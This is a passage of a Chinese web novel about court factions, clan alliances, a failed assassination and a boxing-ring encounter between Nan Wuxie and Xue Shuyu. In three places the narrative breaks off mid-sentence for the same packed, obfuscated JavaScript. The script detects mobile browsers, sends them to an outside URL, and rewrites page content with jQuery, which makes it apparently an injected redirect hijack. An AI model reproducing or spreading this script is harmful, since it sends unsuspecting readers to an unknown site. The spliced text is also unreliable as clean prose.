“傅家根基太浅,”温不迟缓缓道,“想在嵇、贺两家的地盘里抢食,难免急功近利,只是……”他顿了顿,“此事被南无歇拿了实据,怕是一定要处置小傅大人了。” 李昇轻叹,应道:“一个户部尚书的侄子换嵇家长个记性,倒也是值的。” 温不迟的心头微沉,他心里最是明白,傅家的事李昇本可以压下去,却偏要让南无歇“闹”起来,再借着傅家这条线,给嵇、贺两家提个醒,这两家根基太固,眼下拔是拔不掉的,若是能借此敲打一番也是好的。 而嵇家父子二人也是明白的,因此才没有在刑部接到圣旨时辩驳什么,都是聪明人,不会自寻坟墓。 至于傅叡州…不过是枚不堪大用的棋子罢了。 “只是,傅尚书毕竟是两朝元老,”温不迟低声道,“若是处置得太急,怕是寒了老臣的心。” “寒心?”李昇站起身,走到窗边,望着宫墙外的流云,“当年嵇家扶持朕上位时可没说过怕谁寒心,如今他们手伸得太长,盐道、漕运、官员……” 他顿了顿,“过火了。” 与此同时,嵇府书房的檀木案上正摆着刚送来的邸报,嵇业一掌拍在案上,砚台里的墨汁溅了到处,“傅家那竖子捅的窟窿,凭什么要我嵇家填?!陛下这旨意,明摆着是敲山震虎!” 他鬓角的白发微微颤抖,显然气得不轻。执掌吏部多年,嵇家在官场上盘根错节,江南盐道的漕运更是浸了多年筹谋的心血,那些见不得光的勾当,李昇向来是睁一只眼闭一只眼,如今却借着傅家的事发难,怎能不让他怒火中烧。 嵇舟坐在对面的木椅上,手里玩着枚铜板,神色平静得不像局中人。 “爹,您消消气。”他声音温润,“陛下要的不是真相,是态度。” “态度?”嵇业冷笑,“让我嵇家认下这莫须有的罪名,罚半年俸禄,禁足思过,这就是态度?” 他猛地起身,“那南无歇更不是东西!秋猎那事栽赃我们还没算,如今又借着傅家的案子煽风点火,真当我嵇家好欺负?” “爹,南无歇暂时不能动,”嵇舟抬眼,目光清亮,“前些日子在茶馆,儿子与他见过一面。” 嵇业:“那莽夫能说出什么好话?” “他不是莽夫。”嵇舟摇头,“传闻说他杀伐无度,可儿子瞧着,他比谁都懂分寸,就说赐婚那事,陛下明摆着是想拿捏他,他却面不改色接了,转头就用‘缓兵之计’化解,既没驳了陛下的面子,又没让自己陷入被动,最后反倒让陛下无法再开口提任何赐婚的事,这份定力与智谋,绝非只会打仗的武将能比。” 他顿了顿,铜板在小案上轻轻敲着:“秋猎时他帮晁允平脱身,盐道上又借傅家把陛下的怒火烧到咱们头上,步步都踩着陛下的心思,却又做得不露痕迹,这样的人,是劲敌,却绝不能轻易成仇敌。” 嵇业沉默了,他不是不清楚这些,只是咽不下这口气。 “再说,”嵇舟继续道,“陛下本就忌惮咱们嵇家,若父亲在此时与南家斗起来,岂不是正中下怀,让他人坐收渔翁之利?” 嵇业重重哼了一声,转身坐回案前,端起冷茶灌了一口:“那温不迟呢?他在陛下跟前煽风点火,真当咱们不知道?” 提到温不迟,老尚书的语气里满是鄙夷:“靠着龙阳之好上位的奸佞,还建立了个谛听台!那衙门就是悬在百官头上的刀子,谁知道什么时候会落下来!我执掌吏部,任免官员都要看他的脸色,这叫什么事!” 嵇舟的眉头也微微蹙起:“温不迟此人深不可测,他看似依附帝王权榻,实则有自己的盘算,秋猎的事和盐道的事他都掺和在里面,却始终藏在暗处,只怕比南无歇更难对付。” “难对付又如何?”嵇业的火气又上来了,“一个靠屁股上位的娈宠,也配站在世家站在百官头上?” “爹,眼下不是说气话的时候,”嵇舟压下老父亲的怒火,“谛听台的眼线遍布朝野,咱们的把柄本就不少,不能再给他抓到由头,当务之急,是先稳住自身。” 他看向嵇业,目光恳切:“儿子的意思是,不如试着拉拢南无歇。” 嵇业一愣:“拉拢他?他坑了咱们两次,怎么可能与咱们联手?” “没有永远的敌人,只有永远的利益。”嵇舟微微一笑,“他与陛下之间的芥蒂是怎么也避不掉的,咱们递个橄榄枝,不计前嫌,未必没有转圜的余地。” 他看向老父亲,“过两日,儿子找个机会与他再见一面,探探他的口风。” 嵇业看着儿子沉稳的侧脸,沉默了许久,终是叹了口气:“罢了,就按你说的办,只是记住,嵇家的脸面,不能丢。” “儿子明白。”嵇舟起身,躬身行礼,“爹也早些歇息,江南的事,儿子会处理妥当。” *** 城南的茶馆里飘着龙井的清香,午后的阳光透过木窗,晒得人懒洋洋。 南无歇坐在临窗的位置,漫不经心地看着街景。 “南侯爷久等。” 嵇舟的声音带着笑意传来,南无歇回头看去,只见他身后跟着个穿银白锦袍的青年,面如冠玉,眉眼间带着商人特有的精明,却又藏着几分世家子弟的倨傲。 南无歇抬眼,笑了笑:“嵇公子倒是准时。” “这位是贺家大公子,贺醒。”嵇舟侧身引荐,“醒之,这位便是南侯爷。” 贺醒拱手,目光直直,语气不卑不亢:“久仰侯爷大名。” “贺公子客气。”南无歇示意他们坐下,“嵇公子约我来就为给我介绍个朋友?” 嵇舟笑了笑,亲手给两人斟上茶:“侯爷是爽快人,在下也不绕弯子了,今日请侯爷来,一是想化解前嫌,秋猎与盐道的事,都是误会;二是想跟侯爷谈笔生意。” 南无歇挑眉,端起茶盏抿了口:“哦?嵇公子和贺公子的生意,我怕是插不上手吧?” “侯爷说笑了。”贺醒开口,语气带着明晃晃的自信,“京城里的经济命脉,明面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526720|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上看是贺、薛两家分庭抗礼,实则无非就是四样:盐、铁、粮、商铺。归根结底,口岸才是根基,我贺家掌着漕运,嵇家管着地方官员任免,这些年倒也顺顺当当,只是……” 他顿了顿,目光落在南无歇身上:“只是树大招风,陛下对世家的猜忌日深,温不迟的谛听台又像把刀子悬在头顶,我们过得并不安稳,侯爷手握兵权,是陛下也忌惮三分的人物,若能与侯爷联手,于我们是自保,于侯爷……” 贺醒没有说下去,南无歇也故意不接茬,他就那么噙着笑,靠在窗台上看着对面的两人。 “于侯爷自然也是有好处的,”嵇舟接过话头,“侯爷在边关打仗,粮草、军饷哪样离得开户部?万一有一日傅家倒了,户部势必要换新人,若嵇家能帮侯爷在户部安插几个可信的人,粮草调度岂不是更顺畅?” 他看着南无歇,眼底带着深意:“再者,贺家的商路遍布大靖南北,小到兵器甲胄的铁料,大到江南的丝绸茶叶,只要侯爷需要,贺家都能以最低的价钱送到边关将士的手里,这比从国库调拨,方便得多,也省心得多。” 南无歇笑了笑,没说话。 贺醒又道:“说白了,就是有钱一起赚,侯爷保我们在京安稳立足,我们保侯爷在京无后顾之忧,至于朝堂上的事,侯爷若想动谁,嵇家在吏部的人脉,或许能帮上忙,侯爷若想安稳,我们也绝不会给侯爷添麻烦。” 他摊开手,语气坦诚:“世家要的是权,是钱,是世代相传的富贵,从没想过要动摇国本,可咱们的陛下不这么想,温不迟也不这么想,他们容不下我们,自然也未必能容下侯爷,毕竟,手握重兵的异姓侯,从来都是帝王心头的刺。” 这话戳得直白,却也在理。 南无歇指腹在茶杯口上滑了半圈,脸上依旧笑的灿烂,“二位说的真好,真周全,只是你们为什么信我?就不怕我转头把这些话捅给谛听台,换个顺水人情?” 嵇舟放下茶盏,笑意温和却透着笃定:“侯爷若想讨陛下欢心,秋猎时便不会出手断箭,侯爷要的从不是帝王的恩宠,是不再因忌惮而受打压,这点,与我们想保世家安稳的心思,其实殊途同归。” 他顿了顿,添了句,语气里带了点恰到好处的恭维:“何况,以侯爷的手段,真要算计我们,也不必费这功夫,与其做敌人互相猜忌,不如做盟友各取所需,我们这点眼力见,还是有的。” 南无歇定定地看了他一阵儿,随后慢悠悠地喝了口茶,过了许久才开口:“联手可以,但我有条件。” 嵇舟与贺醒对视一眼,”侯爷请讲。” “第一,江南盐道的洗钱生意,我要两成利。”南无歇的语气平淡,“不用过我手,换成边关需要的粮草、药材,悄悄送过去就行。” “可以。”贺醒毫不犹豫地答应,两成利换个靠山,值。 “第二,嵇家在朝中和各地安插的人,绝不能是只会敛财的废物。”南无歇看着嵇舟,“我要的是能办事、懂分寸的聪明人。” “侯爷放心。”嵇舟点头,“我会亲自筛选,绝不含糊。” “第三,”南无歇放下茶盏,目光在两人脸上扫过,“漕运借我用用。” 第一条要钱,第二条要人,这些都好说,但这漕运可是张大网,整条漕运线不光裹着无数的人和银子,还牵连着码头、仓房以及边关港口,这可不是什么能轻易借的东西。 贺醒刚要开口推诿周旋,嵇舟就便开口应下了,“成交。” 他目光不躲不闪,答应的干脆。 南无歇见嵇舟答应的丝毫不拖泥带水,补充道:“还有,我与你们联手的事,不能让第四个人知道。” “侯爷放心,此事天知地知,你我三人知。” 南无歇笑了笑,端起茶盏:“那就祝我们……合作愉快?” 嵇舟与贺醒同时举杯,三只茶盏轻轻碰在一起,发出清脆的声响,“合作愉快。” 窗外的阳光正好,茶香袅袅,南无歇看着对面两人眼底的算计与释然,唇角的笑意未减。 13. 难驯 从茶馆出来,日头已过了正午,南无歇慢悠悠地晃着,摇来摇去。 “侯爷。” 卫清禾的声音从侧边阴影里传来,人已悄无声息地跟了上来。 南无歇脚步没停,目光扫过街边挑着担子的小贩,声音压得极低:“去查查薛家。” “薛家?”卫清禾愣了瞬。 “看看他们的商路铺到了哪,跟宫里有没有牵扯。”南无歇咬下来颗刚买的糖球,嘴里含糊不清,“听说薛家那位二公子性子野得很。” “是,属下明白了。”卫清禾又隐入阴影,像从未出现过。 南无歇独自转进一条僻静的小巷,巷子两侧是斑驳的木板墙,墙头上探出几枝枯黄的藤条,风一吹,发出沙沙的响。 他刚至巷口,便见一人伫立前方。 灰衣沉肃,目如鹰隼,身形笔挺如松,那人脸上没什么表情,透着股生人勿近的冷意,冰冷的目光直直射过来,带着毫不掩饰的杀意。 南无歇眉梢微挑,停步驻足。 此人他虽不识,但那扑面而来的索命之气他却再熟悉不过。 “阁下拦路,是为问路,还是讨钱?”南无歇轻笑一声,晃了晃手中糖球,“问路我不熟,讨钱嘛……你要多少?” 灰衣人没说话,只缓缓抬起手,掌心一柄短刃寒光乍现。 “啊~是来要命的啊?”南无歇语气里没半分紧张,反倒带着点看戏的兴致,“谁派你来的?李昇?” 灰衣人没应声,脚下一动,身形已如离弦之箭般扑了过来! 身如游龙,矫若流云,短刃带着破空的锐响,直取南无歇的咽喉! 南无歇侧身避开,短刃擦着他的颈侧掠过,削断了几缕发丝。 “身手不赖啊。”他“惊”叹一声,出手如电,直扣对方腕脉。 灰衣人应变极捷,腕势陡转,短刃易刺为划,逼得南无歇退后半步。 两人瞬间缠斗在一起,南无歇渐觉对方招招皆蕴赴死之决,那股“目之所及唯标靶,心之所向尽杀伐”的笃定,唯有死士方能具备。起初他尚存几分闲适,直至对方一记扫堂腿携风袭至,势大力沉,他方眸光一凝,握紧了拳头。 “有点意思。”南无歇低声轻笑,终现认真之色。 他不再退避,倏然欺身近前,左手格开来刃,右拳携劲直取对方心口。 灰衣人侧身避过,同时提膝猛撞向南无歇腰腹! 南无歇不闪不避,同样抬膝硬撼! “砰”的一声闷响,两人各退数步,南无歇但觉膝骨发麻,灰衣人亦闷哼一声,面色骤白。 没等灰衣人站稳,南无歇已再次欺上,脚下横扫,逼得那人不得不跃起躲避。 就在此时,他忽然借力腾空,右腿抽出横踢,带着雷霆之势,直取对方的侧耳! 灰衣人反应也快,猛地后仰,这一脚擦着他的鼻尖掠过,重重砸在身旁的木板墙上。 “咔嚓——!” 半面墙应声破开大洞,木屑纷飞如雨。 灰衣人趁机反扑,短刃直刺南无歇的后心,南无歇反手一擒,精准扣住其腕脉猛然发力。 骨裂声清晰可闻,伴随一声压抑的痛哼,短刃应声落地。 南无歇就势将他重重按在墙上,膝头顶其后腰,声里仍含笑意:“现在能说说是谁派你来的了?” 灰衣人紧咬着牙,额头青筋暴起,却半个字也不肯说。 南无歇挑了挑眉,刚想再逼问,却见灰衣人忽然猛地仰头,竟欲自撞墙面求死! “这么不惜命?”南无歇眼疾手快,一把扣住他的后颈,“还是别了吧。” 他目光扫过灰衣人腰间的玉佩,那玉佩雕着朵兰草,与温不迟袖口的暗纹一模一样。 “啧,温不迟倒是舍得,遣你这等好手来。” 说完,他轻笑一声,抬手一记利落手刀。 灰衣人软倒在地,再无意识。 南无歇拍了拍手,看了眼地上的人,又看了看碎成一片的墙,为难似的“啧”了一声。 *** 温不迟府邸的院门是被南无歇一脚踹开的。 他扛着晕过去的戎珂,像扛着袋寻常货物,目不斜视大步流星地穿过庭院,两条大长腿迈起来带起一阵风,管家吓得脸色发白,但根本不敢拦。 温不迟正在书房翻阅账册,听到动静时,抬眼就见南无歇站在门口,肩上还负着一人。 “温大人,”南无歇唇角一勾,随手将戎珂如卸货般仍在地上,“你的人我给你送回来了。” 温不迟合上册子,神色平静得像一潭深水,沉默片刻,他才缓声开口:“有劳侯爷了。” “不妨事,”南无歇踱至案前,俯身逼近,垂眸看他,“毕竟是冲我来的,总不能让他死在外头,污了温大人的清名。” 他目光掠过温不迟袖口精致的云雀绣纹,轻笑一声,“不过说真的,温大人派来的这位身手着实不错,差点把那巷子里的墙给拆了。” 温不迟未接此话,只淡声道:“下人不懂规矩,冲撞了侯爷,还请侯爷恕罪。” “不恕,”南无歇低笑一声,伸手挑起他的下巴,迫他抬头,“温大人开口我就必须要恕吗?啧,这事儿怎么看都是我吃亏。” 温不迟未挣扎,只冷眼相视,“侯爷待要如何?” “我想如何,温大人不知?” 南无歇的拇指揉过温不迟的唇,肌肤接触间带着狎昵,目光沉邃似要将那人看穿。 随后,他的语气里带了点漫不经心的调侃,“说起来,你与李昇,倒不似传闻中那般亲近。” 温不迟的目光一冷,浑身的刺瞬间竖起:“侯爷这话是何意?” “字面意思,”南无歇指节滑下,钳住他下颌,“若温大人真是他榻上之人,那夜不会是那般生涩反应。” 他凑得更近,“那晚你疼成那样,哭喘得那么凶,显是未曾经历过的。” 温不迟拳心蓦地攥紧,羞愤与怒意交织翻涌,那夜的狼狈与屈辱顷刻重现,他猛地偏头欲躲,却被南无歇更用力地扳回。 “怎么?被我说中了?”南无歇的眼底闪过一丝兴味,“温大人装了这么久‘龙阳客’,早就忘了自己原本是什么样子了吧?” 南无歇是个不知收敛的,他那夜察觉温不迟与李昇并非床笫关系,按照道理来说,在得知这人并非龙榻上的人时他南无歇应是感到徒劳无功的,可事实却并没有。 自那时起,他与温不迟之间便跟李昇再无关系了,但他好似并未察觉这层变化,也并未追其根源,他只沉浸在激怒眼前这人并欣赏对方炸毛神情的心理满足中无法自拔。 温不迟看他的眼神里发了冷,带着极致的怒意,却没吭声。 南无歇笑得更欢了,“原来温大人不仅嘴硬,脸皮还这么薄。” 这话带着毫不掩饰的狎昵,像根针,扎得温不迟的脸色微微发白。 他蓦地侧首避开那侵扰的触碰,“侯爷若只为折辱下官,便请回吧。” “折辱?”南无歇直起身,笑了笑,“这怎么能叫折辱呢?我今日只是想来告诉温大人——” 他的目光扫过地上昏厥的戎珂,“下次若再想取我性命,不妨温大人亲自前来,或许,我还能让你几分。” 温不迟默默攥紧了案上的账册,纸页被攥出褶皱:“侯爷的意思,是要与下官不死不休了?” “死不死的,太没意思。”南无歇摆了摆手,“我倒是觉得现在这样挺好,你派人行刺,我送他回来,顺便……看看你。” 他倏然勾唇,笑意染上几分邪气,“不过我还是更喜欢温大人那夜的——” “侯爷,”温不迟冷声打断,“你我二人,何必至此?” “如此是哪般?”南无歇一步步逼近,直到两人只隔半步,“是像现在这样站在你面前?还是……像那日在榻上那样?” 温不迟看着南无歇的脸越来越近,只冷眼而视,没躲,也没回答。 “你杀不了我,也拦不住我。”南无歇抬手轻轻滑过他的颈侧,停在那处尚未消退的红痕上,“温大人,你说,这是不是命?” 脖子上轻痒的触碰令温不迟瞬间炸毛,他猛地抬手去推南无歇,却被那人顺势抓住手腕,“砰!”的一声,反压在书案上。 温不迟满腔怒火地仰视着,愤懑的目光直逼对方的眼睛,而南无歇却依旧持着笑容,俯身贴近,轻语如叹,“温大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526721|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 他微微一顿,继而深深嗅过温不迟颈间的气息。 随后,他松开手,直起身,理了理褶皱的衣衫,“人还给你了,我走了。” 言毕,他转身就走,行至门边忽又驻足,回眸望向仍僵立原处的温不迟,唇角勾起一抹深长笑意,“对了,下回我会换个宽敞的地界,我那单人榻实在有些挤了。” 门扉轻合,满室寂然,唯余昏迷的戎珂侧卧在地上。 温不迟缓缓闭上眼,胸口剧烈起伏着,他能感觉到颈侧还残留着对方的温度,像烙铁似的,烫得他心头又恼又慌。 *** 南侯府的灯亮到深夜,南无歇坐在书案前看着残棋,烛光在他侧脸投下深浅不一的影。 “侯爷。”卫清禾的声音从门外传来。 “嗯。”南无歇没抬头,目光依旧落在棋盘上。 卫清禾推门而入,将一纸密报递了上去:“薛家查清了。” 南无歇这才停了手,接过密报慢悠悠地看着。 烛光透过薄薄的纸页,将上面的字迹映得清晰: 薛涉川,长子,主掌薛家明面上的产业:绸缎庄、粮铺、漕运商号,皆是见得光的营生,账目做得滴水不漏,在户部的备案比官衙的卷宗还齐整。 薛淑玉,次子,专管“暗处”的勾当:走私、火药、子钱,甚至是销赃、杀人越货、黑吃黑,性子桀骜,京里几个棘手的钱庄老板“意外”身故,背后都有他的影子。* “倒是分工明确,”南无歇低笑一声,目光在“薛淑玉”三个字上顿了顿,“这薛老二,倒比他哥有意思。” 卫清禾垂眸道:“据说是薛老爷子当年特意分的工,薛涉川稳重,守得住家业,薛淑玉野,敢闯敢拼,正好替薛家扫清路障,有意思的是这兄弟俩倒没嫌隙,薛淑玉替哥哥干脏活,干得心甘情愿。” “是吗?”南无歇挑眉,将密报丢回案上,“薛涉川明面上是掌舵的,可薛淑玉手里握着的‘脏活’才是薛家真正的根基,他若想当家,薛涉川未必压得住。” “那他为何……” “不知道,或许是觉得跟着哥哥比自己单干省心?”南无歇起身走到窗边,望着院外沉沉的夜色,“也或许,他想要的从来不是薛家的财权,是别的。” 卫清禾没接话,因为他更不知道。 “薛淑玉的性子比平常商人野多了,”南无歇继续道,语气里带了点兴味,“贺醒的精明是挂在脸上的,像算盘,噼啪一响就知道要算什么。可这薛淑玉野得藏不住,这种人,要么是真疯,要么是真聪明。” 他转过身,“查过他常去的地方吗?” “查了。”卫清禾答,“城西的拳场,北郊的马场,还有……贺家的赌坊。” “去贺家的赌坊?”南无歇笑了,“跟贺家抢生意,还敢去人家地盘上晃悠,是挺疯的。” 他走到案前,拿起笔,在纸上写了“薛”字,又在旁边画了个圈:“贺家跟嵇家绑得紧,嵇舟那人心思太深,跟他们合作得时时刻刻防着被算计,薛家不一样,他们只认钱,不认人,反倒干净些。” “那……侯爷您要接触他吗?” “急什么。”南无歇放下笔,“先让小七去拳场晃晃,跟薛淑玉‘偶遇’几次,这种野性子,硬来没用,得顺着毛摸。” 他顿了顿,添了句:“顺便叮嘱一下,别想着试探,就当去看热闹,薛淑玉这种人最烦别人跟他玩心眼。” “是。”卫清禾应下,又道,“侯爷,薛家在北境的商路,据说比官方驿站还灵通,若是能合作,北境的粮草调度——” “不止粮草。”南无歇打断他,目光深邃,“钱这东西,从来都不止是钱,贺家能帮嵇家洗钱,薛家手里的‘脏活’,未必不能变成咱们的助力,京城里的路,光靠刀枪是走不通的,得有钱铺路,有人搭桥。” 卫清禾此刻才反应过来,南无歇查薛家从来不止是为了钱,他是想在贺家之外,再找一枚能撬动京城经济格局的棋子,而薛淑玉那股桀骜难驯的野劲,或许正是自家侯爷看中的地方。 “薛淑玉……”南无歇望着窗外的月,唇角勾起抹淡笑,“我倒是想看看,你这头野豹子,到底多难驯。” 14. 荒阔 戎珂醒来时已是次日午时,他甩甩脑袋,还有些发懵。 艰难做起身来,侧目一看,只见温不迟端坐在屋中央的圆桌前思忖着什么,静默不语,不知是坐了多久。 见戎珂醒来,他才晃过神,侧首看向榻上之人,可只给了一个看不出情绪的眼神,依旧未言。 “主人。”戎珂立刻下榻,两三步走到温不迟面前,双手抱拳单膝而跪,郑重道:“此次事败是戎珂无能,戎珂愿以死——” “起来。”温不迟打断他,伸手去扶。 戎珂抬眸看向主人,带着一丝愧疚的迟疑,缓缓起身,垂首而立。 温不迟继续道:“这件事不怪你无能,或是我为难于你。” 他示意对方坐下,“南无歇不是那么容易杀的,害得你险些丢了性命,怪我那晚冲动,被情绪左右了心智。” “主人!”戎珂没有坐,反而又跪了下去,“主人切勿这么说!蒙主恩养,身非己有,提携玉龙为君死,戎珂唯记初誓!只愿为主而生,独求代主而终!” 话音落地,房内一片寂静,只闻戎珂微重的呼吸声。 须臾,温不迟微微阂眸,虚扶了一下戎珂的手腕,没有用力抬起,也没有讲话。 戎珂缓缓抬头,与自家主子四目相对,目光相接,皆无言。 *** 十一月的第一场雪把京城染成了白茫茫一片,城西的拳场却暖得像口蒸笼,汗味混着雪水的潮气,在棚顶下翻涌。 南无歇裹着件捆璧无华的斗篷混在围观的人群里,目光落在拳台中央那个赤着上身的少年身上。 台上的薛淑玉刚把对手撂翻在地,汗水顺着脸颊往下淌,他的拳法带着股不管不顾的疯劲,倒下的壮汉哼都没哼一声,直接被打懵了。 “还有谁敢来?”薛淑玉抹了把脸,唇角勾着桀骜的笑,眼底燃着好斗的火。 围观的人窃窃私语,没人敢应声。 这半个月来,小七按南无歇的吩咐在拳场“偶遇”了他四五次,次次都故意输得狼狈,把这头野豹子的好胜心勾得正旺。 南无歇扯了扯斗篷的帽檐,慢悠悠地走上拳台。 “我来试试。” 他的声音不高,却瞬间让嘈杂的拳场静了静。 薛淑玉抬眼看来,见他裹得严实,只露出双漫不经心的眼睛,嗤笑一声:“脸都不敢漏,也想学人打拳?” 南无歇没答这话,只是活动了下手腕,骨节发出轻微的脆响。 “开始吧。” 薛淑玉挑眉,没再废话,猛地欺近身! 拳头带着劲风直取南无歇面门,这拳又快又沉,寻常人挨上至少得躺半个月。 南无歇却只是偏头,手掌在他拳侧轻轻一搭,借着那股冲劲顺势一引。 薛淑玉的拳头擦着他的耳根掠过,重心顿时有些不稳。 “有点东西,”薛淑玉低笑一声,瞬间反手横肘,要命似的顶向他的胸口。 南无歇条件反射一样抬脚横扫,一时间,拳风腿影在狭小的拳台上交错,看得台下人屏住了呼吸。 南无歇的招式不花哨但招招精准,总能在毫厘之间避开薛淑玉的猛攻,偶尔还以颜色,力道不大,却总能打在最让对方难受的地方。 薛淑玉越打越纳闷,这人的动作身法看似随意,却透着股让他捉摸不透的老练,像是在死斗场上滚过千百回,每一寸肌肉都记着最省力的杀人技巧。 他心里暗忖:京城何时不声不响的出了这么一位人物了?这也没见过啊。 可以!有趣!! 随后,他猛攻一拳,逼开距离,咧嘴笑问:“你是谁?” 南无歇没答,反而主动欺上。 这次他没再留手,刚烈的拳风陡然凌厉起来,薛淑玉眼底的好斗之火却烧得更旺,竟也不管章法,凭着一股蛮力硬接了几招。 就在他挥拳直取南无歇小腹,整个人重心前倾的瞬间,南无歇顺着他的攻势和力道侧身避开拳头,同时一记快拳,精准地落在薛淑玉的肋下。 “唔!” 薛淑玉闷哼一声,像被山崩地裂的巨石砸中,踉跄着后退几步,一屁股坐在地上。 肋下的钝痛顺着骨头缝往骨髓里钻,他却没恼,反而抬起头,用手背擦了擦唇角的血,眼睛里着着兴奋的火。 “好拳!”他用力拍了一下地面,站了起来,活动了下肩膀,“再来!” 南无歇看着他眼里毫不掩饰的好斗,眼底闪过一丝兴味,这薛淑玉果然是疯子!挨了打反倒更精神了。 “还来?”他活动了一下脖子,语气漫不经心,“不怕被我打死了?” “狗命一条,死就死了。”薛淑玉摆开架势,浑身的刺都竖了起来,像头准备扑食的豹子,“倒是你,别藏着掖着了!拿出真本事来!” 南无歇笑了,这次他选择只陪着对方拆招,偶尔用巧劲让他摔个结实,再在他爬起来时递上一个挑衅的眼神。 薛淑玉果真吃这套,越打越疯,越疯越兴奋,浑身上下的痛都忘了,眼里只剩下拳台对面那个身影。 他从未遇过这样的对手,既能接得住他的疯劲,又能在他最得意时,轻飘飘地泼一盆冷水,但他却气不起来,只觉得浑身的血都在烧。 不知打了多久,直到薛淑玉第十五六七八次被撂翻在地,再也爬不起来时南无歇才收了手。 他俯身,递过去一块干净的帕子。 薛淑玉喘着粗气仰头看他,汗水混着血水糊了满脸,却笑得像个孩子:“你到底是谁?” 南无歇没直接答,只挑了挑眉,微微一抬下巴,“改日我请你喝酒。” 说完,他整理了一下今日功劳最大的斗篷,转身走下拳台,混进人群里,很快就消失在观众席中。 薛淑玉坐在地上,攥着那块带着淡淡檀香的帕子,望着他消失的方向,舔了舔唇角的血,眼底的光比京城的雪还要亮。 *** 薛涉川正在自家书房对着账册核数,听见院外传来踉跄的脚步声,不用抬头也知道是谁。 “哥!哥!”薛淑玉掀帘进来,带着一身寒气和淡淡的血腥味,脸上青一块紫一块,唇角还破了皮,整个人乱七八糟的,却笑得灿烂。 薛涉川放下算盘,眉头微蹙:“又去拳场了?” “嗯!”薛淑玉往椅子上一坐,活动着酸痛的肩膀,“今儿遇着个狠角色,太能打了!” 薛涉川没接话,只扬声吩咐下人:“备热水,拿药箱。” “哥,不用——” “坐着。”薛涉川将他按回了椅子上,等下人退出去,才拿起帕子浸了浸水,替他擦着脸上的灰,“跟我炫耀炫耀吧,何方神圣把你打成这副样子的?” “他没说名字,穿件斗篷只露着双眼,根本看不出来是谁,”薛淑玉满不在乎地摆摆手,眼里还闪着兴奋的光,“这人看着挺懒的,出手却快得不行,招式不花哨,全是杀招,但他又总留着余地,像是……像是逗着我玩。” 他忽然一拍大腿:“对了!他身上有股檀香,不是咱们京里常见的那种,带着点冷味,像北境的雪。” “北境?”薛涉川的手顿了顿:“南家侯爷回京的事,你知道吧?” “知道啊。”薛淑玉挑眉,“前阵子闹得沸沸扬扬,又是御前赐婚又是猎场刺杀的,想不知道都难,怎么了?” “你觉得,打你的人,会不会是他?” 薛淑玉一愣,随即笑了:“不能吧?他南侯爷‘日理万!机’,哪有空去拳场打架?”* “未必。”薛涉川拿起刚送来的药,蘸了点药膏往他唇角的伤口上抹,“京城里能把你打成这样的屈指可数,而且……南无歇最近似乎在查京里的商线。” 薛淑玉的神情顿住了:“查商线?他想做什么?” “这就不清楚了,”薛涉川给弟弟擦药的动作很轻,“陛下登基这几年,朝堂早就不是老样子了,老臣们被谛听台盯着,世家们忙着自保,百官们只敢说三分话,谁都想找条稳妥的路走。” 他垂眼看着弟弟,“南无歇手握兵权,却在京里没什么根基,贺家跟嵇家绑在一处,他若想站稳脚跟,总得找个能替他‘管钱’的人。” 薛淑玉摸着下巴,若有所思:“哥的意思是,他是故意去拳场找我的?” “不无可能啊,就像你说的,若无理由他怕是没那么多闲心去拳场打拳的,” 薛涉川放下药膏,“他这是在试探你的斤两和脾性,也是在告诉我,他有让你感兴趣的‘本事’。” 薛淑玉忽然笑了,眼里的桀骜又冒了出来:“这人有点意思,他若真是南无歇,那这合作我倒想试试。” “别急。”薛涉川按住他的肩膀,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526722|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陛下现在正是要归拢权柄的时候,他需要的是忠臣,能力反在其次,南无歇身份太特殊,手握兵权的能臣只会是陛下的眼中钉,谛听台的眼线到处都是,咱们跟他南无歇走得太近,未必是好事。” 他顿了顿,补充道:“但也不能疏远,此人是把双刃剑,用好了能劈开贺家的路,用不好就会引火烧身。” 薛淑玉没说话,窗外的雪下得更大了,他回想起拳台上那个身影,想起那记又快又准的拳头,想起对方转身时那句“改日我请你喝酒”。 不管是不是南无歇,这人他都没打算放过。 “哥,”薛淑玉仰着脸看着哥哥,眼睛里闪着光,“他约我过几天喝酒,我想去。” 薛涉川看着弟弟眼里的兴奋,揉了揉他的头顶,没有回答可以与否,只淡淡道:“乖。” *** 南侯府的暖阁里烧着银炭,暖意融融,南无歇刚换下沾了雪的劲装,换上件日常衣裳,正捧着杯热茶,吹着热气。 卫清禾在旁边收拾着他脱下的斗篷,抖落上面的雪粒,动作却有些心不在焉,眼角的余光总往他身上瞟。 “有话就说。”南无歇没抬头,声音里带着点笑意,“你这眼神,跟我偷吃楠楠的蜜饯被抓包后一模一样。” 卫清禾手一顿,把斗篷挂好,嗫嚅道:“侯爷……” “嗯?” 